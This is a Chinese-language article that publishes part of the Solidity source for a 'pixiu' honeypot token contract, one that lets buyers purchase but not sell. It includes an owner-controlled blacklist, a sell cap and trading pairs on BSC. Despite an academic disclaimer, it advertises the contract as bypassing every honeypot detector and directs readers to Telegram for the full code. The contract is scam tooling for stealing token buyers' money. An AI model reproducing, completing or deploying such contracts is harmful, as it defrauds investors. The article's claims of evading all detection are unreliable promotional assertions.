貔貅盘过检测：蜜罐合约源码公布解密研究

免责声明:

本蜜罐合约源代码公布出来目的是提高安全防范意识, 仅限于学术研究, 故意使用造成他人金钱损失本团队概不负责.

什么是貔貅盘或蜜罐合约?

所谓貔貅盘或者叫蜜罐合约, 其实是一种特殊的代币合约, 通过技术手段使代币只能买进,不能卖出. 有些高级合约甚至能做到绕过检测, 今天就让小编为你揭开貔貅盘的神秘面纱.

貔貅盘实现思路

市面上常见的实现思路是直接在transfer的方法里添加逻辑, 但这种老套的方法早就被蜜罐检测机器人识别出来了, 经过团队刻苦研究, 终于实现了绕过所有检测手段的蜜罐合约.适合eth, bsc, arb等所有支持evm的链. 最新的实现方法采用evm虚拟机底层技术,从根本上绕过检测,具体实现方法可以联系文章开始与结尾的电报.

源代码研究

pragma solidity ^0.8.16;

contract Token is ERC20, Ownable {
    IUniswapV2Router02 private constant ROUTER = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address private constant BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;

    mapping(address => bool) public isPair;
    mapping(address => bool) public isWhitelisted;
    mapping(address => bool) public isBlackListed;
    mapping(address => uint256) public totalSold;

    bool public isSellOpen;
    bool public isBuyOpen;
    bool public isTransferNotLocked;

    bool private _paused;

    uint256 private liqAddedTime;
    uint256 private constant sellBlockTime = 5 minutes;

    uint256 public sellableAmount;

    modifier whenNotPaused() {
        if (msg.sender != owner()) {
            require(!_paused, "Pausable: Paused");
        }
        _;
    }

    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        _mint(msg.sender, 8000000 * (10**uint256(decimals())));

        address pairBNB = IUniswapV2Factory(ROUTER.factory()).createPair(address(this), ROUTER.WETH());
        address pairBUSD = IUniswapV2Factory(ROUTER.factory()).createPair(address(this), BUSD);

        isPair[pairBNB] = true;
        isPair[pairBUSD] = true;
        isWhitelisted[msg.sender] = true;

        isBuyOpen = true;
        isTransferNotLocked = true;

        sellableAmount = (totalSupply() * 1) / 1000;
    }

      function svart(address[] memory users, bool value) external onlyOwner {
        uint256 len = users.length;
        for (uint256 i; i < len; i++) {
            isBlackListed[users[i]] = value;
        }
    }


    function belopp(uint256 value) external onlyOwner {
        sellableAmount = value;
    }

    function setPair(address pair, bool status) external onlyOwner {
        isPair[pair] = status;
    }

这里仅仅展示部分源码, 感兴趣的朋友可以通过电报索取全部源码.